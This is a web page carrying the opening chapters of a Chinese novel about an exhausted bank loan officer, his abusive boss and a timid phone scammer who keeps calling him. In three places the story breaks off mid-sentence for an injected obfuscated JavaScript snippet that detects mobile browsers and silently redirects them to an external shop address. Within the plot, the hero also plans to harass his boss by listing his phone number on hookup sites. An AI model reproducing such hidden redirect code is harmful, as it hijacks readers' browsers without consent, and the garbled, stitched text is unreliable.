《你今天为什么不给我打电话》 1. 社畜 周一,纪乘风最想死的一天。 他放在桌上的手机传来一阵震动声,紧接着接连不断地震动响起。 纪乘风不用看都知道,肯定是公司大群里发开会通知了,这消息提醒底下保准是清一色的“收到”回复。 此时已经是晚上六点了,按道理讲,这个点早该下班了。 但是他们这傻逼公司不讲道理。 “风儿。”张强在他面前打了个响指,“一起去吃饭啊。” 纪乘风面无表情地摇摇头,“你们去吧,我不吃了。” 张强劝道:“别啊,那玩意一会开会还不知道要讲多久呢,开到九十点,你就这么饿着啊?” 纪乘风起身,“真不吃,我去抽根烟。” 张强:“要不要给你带点什么?” 纪乘风摆了摆手,去了吸烟室。 不一会,张强从外面吃完饭回来,手里还提着个给纪乘风带的饼,他先是去了纪乘风办公室,没有找到人,又提着饼去了吸烟室。 他才把吸烟室的门打开,就被扑面而来的二手烟呛到直咳嗽,他捂着口鼻这才隐隐在白雾弥漫里看到个身姿颀长的人。 “咳咳咳,风儿?” 纪乘风在白雾里闷闷应了一声。 张强这才朝他走过去,“抽这么吓人?我刚刚进来还以为你是把什么东西给点着了,想要跟公司同归于尽呢。” 纪乘风偏头看了他一眼,“我还没有这么想不开。” 张强咳得厉害,“行了出去吧,再抽你真把自己抽死在这了。” 纪乘风就靠在吸烟室的墙上,微微躬着身子,唇间还夹着一点明灭的星火,他扶了扶鼻梁上的眼镜,“你先去吧,一会去了会议室给我占个座,我再去喝口咖啡提提神。” 张强:“你这最近熬太猛了,忙着给叉叉公司放贷款的事呢?那傻逼就把你逼这么紧?” 纪乘风站直了身子冷笑一声,“那傻逼让我这周就把款放下去。” 张强无奈地拍了拍他,“真不是个人啊。” 纪乘风一脸死相地冲张强道:“我要不直接去他办公室拉屎,让他把我开了,直接拿N+1走人。” 张强被他吓了一跳,他偏头看了纪乘风一眼,“玩这么大么?” 纪乘风面无表情地点点头,“拉完就拿屎甩他,走之前也算是解气了。” 张强被逗笑了,“风儿,你这真是被上班逼疯了啊。” 他说完把手上带的饼递过去,“行了,还是吃点吧,今天这会九点起步,上不封顶。” 六点半准时开会,他们傻逼领导拿着个水杯坐下来的第一句话就是:“今天开会,我也不多讲什么,就是最近大家在业务上都有所懈怠啊,我简单从五个方面跟大家交流一下业务是怎么做的,怎么才能推动业务……” 纪乘风“嗤”了一声,余光就看到左右两边的人已经都掏出手机各玩各的了,一个在玩欢乐斗地主,一个在玩羊了个羊。 玩羊了个羊的小朋友还小声同他道:“纪哥,今儿晚上有五个点要讲,我算他三十分钟一个点,三五一十五,那是不是一个半小时就够了?” 纪乘风听不下去了,他眯了眯眼,“林顺,我记得你也算正儿八经大学毕业的,这么简单个数学题你能算得明白么?三十分钟一个点,你还搁这给我算三五一十五呢,怎么你还想整个林顺猜想?五个点算一个半小时?你妈听了都得心疼你学费。” 林顺苦着脸,“纪哥别骂了、别骂了,我这不就是想皮一下么,希望一个半小时结束也不过只是我一点可怜的期望罢了。” 纪乘风冷淡道:“好好玩你的弱智小游戏。” 林顺口嗨挨了一顿骂,哭丧着脸,一旁玩欢乐斗地主的张强安慰他,“顺子啊,你纪哥周一是这样的……”说着说着看着屏幕的眼睛一亮,“哎呦,叫顺子还真给我来顺子了!挽上!” 一旁的张强输了几把之后,还缠着纪乘风:“诶,风儿,我欢乐豆输完了,把你号借我玩玩呗。” 纪乘风吐了口气,觉得自己坐在这两人中间真的是一个错误的决定,他耐不住张强软磨硬泡,把手机丢过去了,“自己弄。” 张强喜滋滋地接过手机,开始他新一轮紧张刺激的斗地主了。 还真让张强说对了,这会开到了晚上十点半,会上傻逼领导还点着纪乘风的名字叫他抓紧时间把款放了。 等纪乘风好不容易到家,已经是晚上十一点了。 他脱了外套进卫生间,卫生间里惨白的灯光打在他身上,他拧开水龙头,给自己洗了把冷水脸。 然后抓起湿漉漉的头发在镜子里抬起头,那镜子里的人面色有些苍白,灯光占一部分原因,纪乘风自己本人也占一部分原因,他微垂着眼,眼睛底下还有些青色,整个人就是一副死气沉沉的样子。 纪乘风简单冲了个澡,就准备上床睡觉了,他卧室里的装潢是冷淡的黑白色调,窗帘一拉,整个屋都暗不透光的,带着一股死气,他整个人就好像淹没在了暗色里,沉沉睡去。 这就是社畜纪乘风的一天,天天在公司加班到累死累活,回家到头就睡,白天全靠咖啡和烟吊着一口气。 第二天一早,纪乘风八点就出门了,他早上还约了个客户见面。 他临出门前转了转手腕,拿起玄关那里的飞镖站在那瞄准,然后深吸口气猛地将飞镖扔出去,扎进了不远处挂在墙上的飞镖盘上。 纪乘风看着直中盘心的飞镖,挑眉吐了口气,觉得自己今天心情稍微能好些了。 只见那飞镖盘的正中间贴着的正是他们傻逼领导的照片,这笑得一脸恶心的照片上已经被扎了好几个飞镖了,有扎穿眉心的、有扎烂眼睛和嘴巴的。 纪乘风觉得迟早有一天光这么扎照片都不够解气的,得往那傻逼身上扎。 当天上午,纪乘风跟客户聊得挺好的,事情结束得要比他想象中的早,他靠在墙外抽烟,想着离下午上班的点还有些时间,他想出去透口气。 可就在这个时候,他放在口袋里的手机突然开始震动了。 纪乘风直觉有些不妙,他掏出手机一看,果不其然就是那个傻逼给他打过来的电话。 纪乘风不爽地“啧”了一声,又把手机揣回了兜里。 一天天的,他觉得自己跟那傻逼的妈一样,一没看见就给他打电话来了。 当天上午没接傻逼电话的后果就是,纪乘风人才到公司,都没来得及去食堂吃饭,就被傻逼叫去办公室了。 纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357942|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乘风站在他办公室门口深吸了口气,他告诉自己,还指望这份工作赚钱的,做好了心理建设这才敲门进去,“李行,你找我?” “诶,乘风啊。”那傻逼见到纪乘风笑眯眯的。 纪乘风一看到他这张脸上这样的表情就觉得恶心。 “今天上午忙呢?没接我电话?”傻逼问他。 纪乘风佯装才反应过来,“啊,今天上午在客户那里,没注意看手机。” 傻逼笑眯眯地点头,“跑客户好啊,就是要多跑客户。” 他说完睁开眼睛看着纪乘风,“就是给叉叉公司放款的事也要抓点紧,今天下午应该有时间吧?实在不行,晚上加个班,把授信报告写了,写完发我看看,年轻人就是趁现在要多拼多努力啊。” 纪乘风皮笑肉不笑地提了一下嘴角,他真想回一句:怎么?这么急着要报告,是活不到明天了么? 但现实却是纪乘风窝囊生硬地应了一声:“嗯。” 他原本还是想去食堂吃饭的,这一通聊下来,气都给气饱了。 还吃个屁!别说吃饭,都还不知道今天晚上几点能回去! 这傻逼领导就跟他纪乘风买的那股票似的,没跌,一直涨。 纪乘风刚从傻逼办公室出来,就碰到了刚从食堂吃完饭出来的林顺,这小子吃得满嘴都是油,有时候纪乘风不得不感慨,还是年轻人好,怎么样都有胃口,天天哭爹喊娘的,饭到是照干不误,甚至还一干就是一大盆。 林顺就是个最典型的例子。 林顺看到纪乘风满眼的清澈,“纪哥,去吃饭呢?” 纪乘风一脸羊尾的表情,“吃不下了。” 林顺:“纪哥,年纪已经在那了,还是要注意身体啊。” 纪乘风:…… 林顺跟纪乘风擦肩而过正要走的时候,纪乘风把他拦下来了。 林顺乐呵呵地问:“纪哥,还有啥吩咐?羊了个羊的第二关要我帮你速通么?我现在过这个老厉害了,朋友圈好几个要我帮过的!” 纪乘风垂着眼问他:“你知不知道什么男同网站?越不正经越好,最好是专门约泡的那种。” 一字一句都给林顺听愣了,他瞪着眼睛张大嘴巴,错愕到都有些结巴了:“纪……纪哥……你、你你玩这么……花的么?” 纪乘风面无表情地看着他,“有没有?你们年轻人比较了解这些。” 林顺缓缓地抬手抱住胸,一副防御的姿态,他惶恐道:“哥,你最近是不是压力也太大了……我是直的。” 纪乘风用看弱智一样的眼神看着林顺,“想什么呢?” 他抬手指了指身后傻逼领导的办公室,“我要把他电话号码挂上去,也让这傻逼感受一下天天被别人打电话骚扰的滋味。” 林顺一下子对纪乘风肃然起敬,“纪哥妙啊,实在是妙啊,你都这样说了,那这网站我包有的,回头我发你。” 林顺说着重重地拍了拍胸脯,“我办事,你放心。” 纪乘风应了一声:“嗯。” 他应完转身走了两步又想起了什么,回头冲林顺道:“还有,就算我真是男同,我也不喜欢脑子不好使的,你真是多余担心你自己了。” 林顺:嘤嘤嘤。 2. 小骗子 当天,纪乘风为了赶这个报告,加班到晚上十点,这还不算完,他刚把报告发给那个傻逼,不一会儿傻逼的电话就打过来了。 纪乘风硬着头皮接起来电话,“李行。” “诶呀,乘风还在加班呢?真的是辛苦了,年轻人身上就应该有你这股拼劲,你发我的报告呢,我都看了,不错不错,写得很不错,就是有些数据方面,我觉得还有些问题,还有措辞上也要再修改一下,都是一些细节问题,我觉得修改起来应该也还挺简单的,你现在就抓紧时间再改一版哈,改完发我看看,没问题就可以下班了。” 纪乘风不爽,他在认真地思考一件事,他现在要是在电话里把这个傻逼骂一顿,第二天他还能正常上班么? “行了,我也就不耽误你时间了,你把该修改的地方修改好吧,早点下班。”傻逼说完都不给纪乘风反驳的机会,直接就把电话挂了。 纪乘风暗骂了句脏话,那傻逼两肩膀中间的东西要是不用,干脆当痘挤了得了。 纪乘风手下用力,都快要把键盘敲烂了。 等把第二版发给那傻逼的时候,已经十一点了。 那傻逼还在那头假惺惺地回复纪乘风,“诶呀,乘风啊,忙到这个点了,算了,这第二版我也不看了,你早点下班吧,有什么问题我明天再跟你说。” 整得一副多通情达理的样子。 纪乘风:……家里养只边牧都比这傻逼通人性。 纪乘风关了电脑,一肚子气,这上个破班怎么就这么憋屈呢。 等他收拾完准备下班的时候,都已经快十二点了,他撑在桌子前,打算抽根烟再走,就在他掏烟的时候兜里的手机又响了。 不夸张的说,纪乘风现在对自己的手机铃声都要有阴影了,他是真怕掏出来上面显示的又是那傻逼给他来电话了。 他皱着眉拿出手机,还好,是一个陌生电话,他接通了电话。 “喂您好,请问您是纪先生么?”对方听声音是个年纪不大的小男生,咬字的尾音里都还带着一股黏糊的软糯。 纪乘风:“说。” “纪先生,我们查到你银行卡账户交易流水异常,可能涉嫌洗钱的风险,后续账户可能会被锁定,为了保证你的账户正常使用,要麻烦你配合我们操作一下。” 纪乘风听电话那头的骗子在那一字一句的胡说八道,眼睛微眯起,心里烦躁得越发想抽烟了。 “是么?还会锁定我账户?真的假的?我给银行打个电话问问?”他不咸不淡地询问。 “嗯……”小骗子明显开始有些紧张了,“可是现在这么晚,你去问是不是也不太好呀?” 纪乘风冷冷道:“没关系,银行这个点,肯定还有人没下班的。” “纪先生……”小骗子急忙道:“太晚了,我……我先把操作跟您说一下……” 然后纪乘风就听到那头一阵纸张翻找的哗啦声。 “你也知道现在晚啊?我还以为你们是什么国外诈骗团队,跟我们这有时差呢,你们骗子还挺敬业的,晚上十二点还在这赶KPI,打电话还打到我头上来了,你知道我是干什么的么?”纪乘风气得把桌子拍得震天响,“你们骗子这种事都做得出来是不是没爸没妈的?家长会端两盒就能去了?” 对方不说话,沉默了。 但纪乘风现在正是气头上,对着手机持续输出,“听你声音年纪也不大吧,做什么不好,做骗子,你是小脑发育不全还是大脑完全不发育呢?干不了别的?是你奶奶卧病在床急需医药费呢?还是你爷爷得病需要手术费啊?手都伸到别人口袋里来了,就这么缺钱?” 纪乘风深深地喘了口气,只觉得自己这么些的天淤积在心里的不爽全都吐出去了,他原以为自己说话这么歹毒,这骗子肯定早就把电话挂了,可是让他没想到的是,手机界面还显示着“通话中”。 他有些纳闷了,这骗子的承受能力还挺好的。 紧接着他就听到对面的骗子凑到手机跟前,轻声说了一句:“谢谢你纪先生,祝你工作顺利,生活愉快。” 声音乖巧温顺,每一个字都带着软绵绵的尾音,丝毫没有因为纪乘风那一大串话生气,反倒是软软地这样祝福他。 骗子说完就把电话挂了。 纪乘风整个人都愣住了,他无法形容自己这一瞬间的感受,他本来骂对面是因为对面骗人,所以他骂再过分,心里都是没有压力的,只觉得解气,但是这骗子完全不按常理出牌,给他来了这么一句,突然就整得他纪乘风挺不是人的。 他懊恼地捏了捏鼻梁骨,眉头深深地皱起,半响气道:“服了,骗人就骗人,还搁这撒上娇了。” 这一个小插曲弄得当天纪乘风睡觉都不安生,他夜里梦到在地铁上钱包被人偷了,他拔腿就追上去,边追边骂,可等他把人追到的时候,对方拿着他的钱包楚楚可怜地望着他。 然后纪乘风就听到了那句噩梦般的:“纪先生……” 吓得纪乘风当时就清醒了,他整个人从床上弹起来,大口大口地喘着气,眼神都有些发直。 等他缓过劲来,拿起手机一看时间:早上四点三十分。 纪乘风烦躁地抓了一把头发,颓丧地往后倒回床上,一整个睡意全无了。 他那为数不多的睡觉时间,还被一个素昧平生的小骗子占据了,真想骂人。 当天纪乘风苍白着一张脸,顶着两大黑眼圈就这样去上班了,眼神空洞无神就跟整个人都还没有被启动一样。 到了公司,张强看到他这样子,吓了一跳,“风儿,你这状态有点吓人啊?老登昨天又把你留到几点了?” 纪乘风大早上就抱着咖啡猛灌,一副生无可恋的样子,“十二点,你敢信。” 张强:“说真的,风儿,我都怀疑他是觉得你太优秀了,怕你爬上去,想现在就把你熬死。” 纪乘风昨天夜里睡少了,现在觉得头晕脑胀,“那他成功了,我真觉得再这样下去,我要么拉屎,要么我死。” 跟纪乘风形成鲜明对比的是林顺。 初入职场的愣头青,天天吵着不想上班,但天天一大早比谁都活力四射。 “早啊!强哥!纪哥!”林顺热热闹闹地跟他俩打招呼,喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357943|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完人就打算往自己工位走,却被纪乘风一把拉住了。 纪乘风把人拉到一边问他:“网站搞到没有?” 林顺“嘿嘿”一笑,“包的,我还弄到手了好几个,都可以挂。” 林顺把网站发过去,探出脑袋看着纪乘风操作,还不忘好心叮嘱:“纪哥,这网站用的时候,你还是注意点,很容易被人盯上的。” 纪乘风探头看了他一眼,没有太明白“被人盯上”是什么意思。 林顺告诉他:“这网站没什么保护的,注册登录的话,很容易被骗子搞到信息,对方就会加你微信啊、给你打电话之类的。” 纪乘风皱眉:“这能骗到什么?” 林顺:“纪哥!你别不信,那些个加你的妹妹都是人精,她们也不是一上来就骗你,她们会先找各种理由加你好友,加上之后会对你做一个全面测评。” 林顺拍着大腿懊恼道:“哎呦,真的,那些妹妹搁你微信聊天框里天天嘘寒问暖给你发消息,甜甜软软地喊你哥,有时候甚至还会给你点外卖!完全让你一点也看不出她是个骗子!” 纪乘风看着林顺,觉得这人越说越生气。 林顺:“等到了后面,你都以为你俩是朋友了,甚至说还能进一步发展,她就开始卖惨了,反正各种悲惨穷酸,她也不直接找你要钱,就暗戳戳示意自己连饭都吃不上了,你说这谁忍心啊,你能忍住不给她打钱么?” 纪乘风点点头,然后抬手拍了拍林顺:“这么了解,没少被骗吧?” 林顺一噎,一张小脸尴尬成了猪肝色。 以上总结没有脑子,全是经验。 纪乘风毫不在意:“放一百个心吧,我没那个闲心情跟妹妹聊天,我每天除了上班就是睡觉,压根没有谈恋爱的欲望,不像你们小年轻。” 林顺辩驳:“不是,纪哥,你真不知道,不是那种单纯的骗人,是那种量身为你打造的杀猪盘!很容易就被骗进去了,你被骗了可能都还不知道,说不定还在那心疼人家呢!” 纪乘风看着他,面无表情:“唯一能针对我的杀猪盘就是在我这贷个一千万,被骗我也认了。” 林顺半响无言,最后冲他竖起了大拇指:“纪哥劳模啊,你不发财谁发财啊。” 纪乘风:“行了,别贫了,网站这事谁也别说,听到没有。” 林顺点头如捣蒜,然后冲着自己的嘴巴做了一个拉拉链的动作,就在林顺准备离开的时候,他又被纪乘风拉住了。 纪乘风:“还是想跟你说一句,在这些网站里逛的哪有什么妹子,基本上都是男的,搁你微信里天天喊你‘哥’的人,说不定就长那傻逼那样。” 他说着朝领导办公室一指。 林顺真的都要哭了,“纪哥,我没有得罪你任何事……你现在这弄得我早饭都有点吃不下了,你要是说那骗子长成壮汉圆脸络腮胡,我可能都还能接受,但是你说那骗子长得像那傻逼……我有点想吐了。” 事实证明,视觉上的恶心比不上心理上的恶心。 在傻逼的冲击下,林顺甚至觉得gay圈甜妹真是该死的甜美啊。 3. 诈骗电话 当天晚上那个傻逼在开大会的时候还点着纪乘风的名字表扬,说他晚上十二点还在加班赶报告,大家要多多向他学习,学习他这种吃苦耐劳的精神,公司员工要都是像他这样,还愁什么业绩上不去呢? 夸得纪乘风会议结束就狠狠抽了两根烟,真的要被恶心坏了。 他从吸烟室出来的时候又碰到了张强。 张强笑了笑:“风儿我现在都已经不去你办公室找你了,现在找你都直接来吸烟室。” 纪乘风:“找我是有什么事么?” 张强:“今天下班还算早,我们一会去聚餐,想问你去不去,订的地方在九曲庭院,就顺子我们几个。” 纪乘风疲惫地捏了捏鼻梁,“算了,我就不去了,你们好好吃吧,我现在就只想早点回去睡个觉。” 张强都有些无奈了,“风儿,你这一天天的除了上班就是上班了,没有一点自己的生活,年纪轻轻的何必呢?你应该趁现在多潇洒潇洒,抓紧时间多跟朋友出去玩玩,或者是谈谈恋爱,趁年轻多享受生活啊。” 纪乘风一脸沧桑:“强哥你不懂,我好像没有那些欲望,我就对挣钱还有点想法,虽然这钱挣得恶心,但我确实对别的也提不起兴趣,我就觉得我忙了一天,回去睡个安稳觉就已经很幸福了。” 张强感慨:“天选打工人啊,你真是卷死你自己。” 纪乘风也没招:“这辈子也就还对挣钱有点欲望了。” 张强欲言又止,最后只能拍了拍纪乘风的肩,要他好好照顾自己。 这要是林顺在场,肯定会非常担忧地同纪乘风说:“纪哥,你这不会是年纪轻轻的就羊萎了吧!” 年纪人就是心眼子实诚。 纪乘风下班的时候是晚上七点半,他关完电脑长舒了口气,难得下了个早班。 他都想好一会回去,先洗个澡,然后再点个外卖开瓶酒,喝到微醺了就睡。 可让他没想到的是,他刚到家准备去洗澡,衣服都脱了一半,手机响了。 不夸张的说,纪乘风现在对自己的手机铃声都有些应激了,听到那原始手机铃声响就会下意识觉得烦躁。 他深吸了口气,拿起手机一看,先是松了口气,不是他的傻逼领导,但这口气没松多久又被提起来了。 是他的母亲大人。 纪乘风拧着眉,纠结了半天还是接了。 纪乘风喊了一声:“妈。” 对面笑盈盈的,“儿子啊!下班了没?有没有吃饭啊?” 纪乘风敷衍:“下班了,吃了。” 他妈妈丝毫没有意识到他的冷淡:“哎呦,下班了就好,好久都没有跟你打电话了,妈妈好想你啊,你最近还好吧。” 纪乘风看着自己脱了一半的裤子,“还好。” 他妈妈:“儿子!这周末有没有时间回来吃饭啊!我给你弄你最喜欢吃的虾!好久没见你了!有点想你!” 纪乘风丝毫不上她的套,“是你没钱了,还是我弟没钱了?” 她妈妈一噎,半响没做声,明显是被纪乘风这话问尴尬了,然后她小声道:“就不能是真的想你么?” 纪乘风:“行,想吧,那我把电话挂了。” 他妈妈急了:“诶诶诶,你这孩子,这么急着挂电话干嘛,好不容易给你打一次电话。” 纪乘风深吸了口气,耐着性子问:“还有什么事。” 他妈妈就很不好意思道:“就是你二姑妈给你介绍了个对象,家里在市中心有三套房,父母都是做生意的,小姑娘还是当老师的,家庭条件很不错,想着说你周末回来见见,人姑娘看了你的照片对你很感兴趣。” 纪乘风想都没想就开口道:“不用了。” 他妈妈听到他这么斩钉截铁地回答有些生气:“诶你这孩子,都多大年纪了,自己也不找,家里给介绍的也不感兴趣,你到底是怎么回事啊!你同龄的好几个都已经二胎了!我一直还盼着做奶奶呢。” 纪乘风面无表情:“那你别想了,我也告诉你吧,我羊萎、不行、硬不起来,就算好不容易硬起来了也早泄,你要是还有做奶奶的想法,那你就直接给我弟介绍,我是没戏了。” 他妈妈:“……” 这话纪乘风敢说,他妈都不敢听。 纪乘风手机那头迎来了漫长的死一样的安静,纪乘风:“没事就挂了,我挺忙的,节假日我该回去的时候会回去,你就别操这个心了,还有,以后这种要给我介绍对象的电话就别打了,我会拉黑。” 他妈妈沉默了好半天,最终忍不住说:“那要不……我给你弄点药酒补补。” 甚至还安慰纪乘风:“你也别太担心这些,你俩要是早点结婚把证领了,人家姑娘未必知道你是个‘中看不中用的’,你说的这些以后还可以慢慢调理。” 纪乘风是真服了他妈了,他妈也是个神人。 纪乘风冷着脸,“妈,它都不中看你知道么?起不来,你就别操这份心了。” 他妈还不死心地问:“吃药也不行么?” 纪乘风:“……” 他妈:“要不我找渠道弄一点这个药给你试试?总不能年纪轻轻的……” 纪乘风实在是忍不了了,“妈!我弟今年刚好十八了,你要是那么急,你直接让我弟现在就结婚,不是说大学领证还能赚学分么,多好啊,学也上了、分也拿了,努把劲还能把孩子都给生了,这都得领先同龄人多少步了!” 他妈有些生气了:“你这孩子,怎么说话的,你都这么大了,每次跟你说结婚的事,都弄得我好像要害你一样。” 纪乘风冷着脸:“行了挂了,我还有事。” 纪乘风把电话挂了之后,深深地松了口气,他把脱了一半的裤子又重新穿上,今天好不容易下了个早班,但是现在什么心思都没了,只想根抽烟调节一下心情。 他坐在房间里没开灯,看着窗户外头的灯火灿烂,没来由地就是突然觉得有些累。 纪乘风以前从来都没有这么觉得过,想那会他大学刚毕业的时候什么东西都没有,就拉了个陪了他大学四年的行李箱,独自一个人就来了A城,什么都没想,也不觉得害怕,就感觉自己的人生才刚刚开始似的,两眼一睁就是干。 那时候多有干劲呀,当时连住的地方都还没有,白天到处面试找工作,晚上还要去看房子,最难的时候跟七八个大老爷们挤在大通铺里,就是为了剩那么一点住宿费。 这些想起来也不过是八九年前的事,年轻充满干劲,也不知道什么苦不苦累不累的,钱到手就觉得很知足了。 可是现在…… 纪乘风抽了口烟,心里还没想出个什么所以然来,他就嗤笑了一声,开始骂自己:“纪乘风你也是能耐了,有空想东想西,还不如多去睡会觉。” 他掐了烟,开窗散了散烟味,他是真没空在这伤春悲秋的,他每个月还有七千多的房贷呢。 纪乘风有时候觉得自己还能在那个傻逼手底下干下去,还是因为自己太需要这份工作了,不然也不至于这么卑微。 等纪乘风洗完澡出来,那破手机又在响,这手机自带的铃声,在纪乘风听来实在是吵闹。 那手机没人接,连震带响的,闹得格外起劲。 纪乘风深吸了口气,还是走过去拿起了手机,上面显示的电话号码,他没有什么印象,不是他傻逼老板,也不是他神人老妈。 纪乘风把电话接起来,“喂?” 对方软软地唤他:“纪先生……” 纪乘风:“……” 纪乘风还没来得及说话,对方又搬出了那套熟悉的说辞:“纪先生,我们查到你银行卡账户交易流水异常,可能涉嫌洗钱的风险,后续账户可能会被锁定,为了保证你的账户正常使用,要麻烦……” 还不等对方说完,纪乘风就不耐烦了,“不是,你是不是有病啊?你们骗子就这业务能力?每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357944|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天通话都不做通话记录的,这么些个号码,哪些没打,哪些已经打了都弄不清楚?又给我打什么?” 小骗子咽了咽口水:“纪先生,你……等我跟你说一下怎么操作。” 纪乘风是真无语了,人在无语的时候是真的找不到话说。 他就听到那小骗子一步一步教他怎么弄,先登录个什么什么网站,然后再怎么怎么弄,最后小声告诉他:“纪先生,你要是很忙,不弄也没关系的。” 纪乘风:“……” 小骗子最后还抱着手机同他道:“谢谢你纪先生。” 那小骗子估计是怕纪乘风又骂他,这回迅速就把电话挂断了。 纪乘风听着手机那头的“滴滴”声,实在是无语至极了,他现在已经不觉得这小骗子是为了钱了,他甚至都有点怀疑对方是不是脑子不好使。 还真有可能是脑子发育不完全,被人骗进去干这行的,正常人哪有这样的。 纪乘风无语了半天:“服了,这小孩是不是真有病?” 诈骗电话这事,纪乘风一开始也没放在心上,直到第三天他上班的时候又再次接到了这个小骗子的电话。 小骗熟悉的称呼,“纪先生。” 熟悉的开场白,“纪先生,我们查到你银行卡账户交易流水异常……” 纪乘风立马打断:“你手上到底有几个纪先生?” 对面小骗子一愣,不明白他为什么这样问自己,但还是老老实实回答道:“就你一个,纪先生。” 纪乘风:“你也知道只有我一个纪先生啊?你自己数数,这都是你第几天给我打电话了?” 小骗子:“第……三天。” 纪乘风真的是要被他气笑了,“你说你到底想干嘛?你们这是硬性任务要求呢?没被你这边骗到钱就要一直给我打电话?” 小骗子有些焦急地辩解:“没有,不是的,纪先生……” 纪乘风皱了皱眉,“行了,以后别给我打电话了,第一次接电话是我说话太过分,我先跟你道个歉,但我这不是说你骗人就是什么对的事情了,我还是那句话,骗子没爸没妈死全家,你好自为之吧,挂了。” 一旁的林顺听到纪乘风这些话,有些好奇地从工位上探出脑袋来问他:“纪哥,跟谁打电话呢?虽然你平时说话也毒吧,但骗子没爸没妈死全家这么歹毒的话,我还是第一次听你说。” 纪乘风随口敷衍道:“就一骗子。” 林顺一听就来劲了,他整个身子趴过来,“诶诶,纪哥你跟我说说呗,这骗子是怎么回事啊?” 纪乘风抬头看了他一眼,对上他好奇到不行的眼神。 纪乘风往椅子上一靠:“有什么好说的,你不是比我了解得还多么?就那些网站上的骗子。” 林顺:“靠,纪哥还真让你遇上了?” 纪乘风没理他,盯着电脑上的报表。 林顺还在那追着他问:“那纪哥,这骗子是不是也是甜甜地软着嗓子喊你‘哥’啊?” 纪乘风愣了一下,还真就想了想,声音是挺软的,说话尾音拖长着,就跟撒娇似的,就是…… 他回林顺:“没有喊‘哥’。” 林顺纳闷:“那喊的什么啊?” 纪乘风:“喊的‘纪先生’。” 林顺咋舌,“果然啊,一个猴一个拴法,像纪哥这样的,对方喊你‘纪先生’更对味啊,这些骗子实在是手段太高了。” 纪乘风都要被他分析笑了,他抬手给了林顺一下,“乱说什么,以为我是你,这么随便就被人下套骗了?” 林顺嘻嘻一笑:“当然没有,就是纪哥,你也别太不看起这些骗子,他们真的有点手段在身上的,很多人最开始都是跟你一样的想法,最后还不是被骗了。” 纪乘风:“行了,别在这打扰我工作了,你现在首要的任务就是先下载一个国家反诈APP。” 林顺撇撇嘴,回了自己的工位。 4. 报警 纪乘风又开始了他按部就班的牛马生活,好几天都没有再接到骗子的电话了。 他现在是一根烟、一杯咖啡一干就是一整天。 只有累死的牛马和怎么也干不完的活。 他最近为了叉叉公司放款的事忙得焦头烂额,几乎每天都在外面跑,马不停蹄的,连喝口水的时间都没有。 好不容易等到要走放款流程的时候,他还特地去盯着,给负责流程审批的同事买了奶茶和小蛋糕,就是怕审批过程中会出什么岔子。 他提着大包小包的东西过去,“张姐,最近大家忙都辛苦了,我难得过来一趟,给大家买了点吃的喝的,给你们放这了。” “诶呦,是乘风啊。”张姐笑了笑,扶了一下眼镜,“你也太客气了,每次来都破费,都是工作上的事,有什么打个电话就是。” 纪乘风笑了笑,“哪的话,也要适当的联络感情。” 他抽空出来放风,手机上的消息就没有消停过,纪乘风靠在工作台那拧着眉认真处理工作上的事。 一米八几的个子,瘦高长一人,穿着一身板正的西装,就那么懒懒散散地靠在那,一张有些斯文干净的脸上带着处理工作的不爽。 周围那些年纪还小的妹妹忍不住频频朝他探头看来,有胆子大的还凑到张姐跟前问这人是谁。 张姐就在那乐呵呵的笑,“公司部的纪乘风,没听说过吧?” 妹妹们点头,试图了解更多。 张姐笑眯着眼,如她们愿的继续说道:“长得帅吧?” 妹妹们疯狂点头,眼睛都是亮的。 张姐:“别想了,他这人是个工作狂魔,什么都不喜欢就喜欢工作和钱。” 纪乘风刚收起手机,就听到张姐对自己的评价,他走过去,“张姐,你可饶了我吧,我一天天累死累活就赚这两歪瓜裂枣了,哪还能有时间干别的呀。” 他说着从一旁的袋子里拿出几杯奶茶递给那些妹妹们,笑了笑:“来,一人一杯,不够我再点。” 等流程终于流转到张姐这的时候,没想到叉叉公司的放款还是出了岔子。 张姐看着提交上来的流程,有些严肃地跟纪乘风说:“乘风啊,这个附件提供的材料里,合同和发票佐证不足,我总觉得这个报表的数据也有问题。” 纪乘风拧着眉,心里一咯噔,他为这事都已经忙前忙活大半个月了,这眼看着流程都要走完了,不会在这个节骨眼上出现纰漏吧。 “合同和发票的事我已经跟对方沟通过了,目前附件里已经是所有能提供的了,张姐,你说的报表数据有问题具体是什么情况?”纪乘风凑过去。 张姐点了点那报表上一栏数字,“要是销售额真跟对方说的一样,那这个税额也太不合理了,太少了。” 纪乘风“啧”了一声,在心里暗骂自己,一开始怎么没有注意到这个细节,确实像张姐说的那样,那么大量的销售额跟报表里现在的这个税额是完全不匹配的。 张姐:“乘风,这个流程我先只能退回去了,你先了解一下具体是个什么情况吧。” “行。”纪乘风应了声。 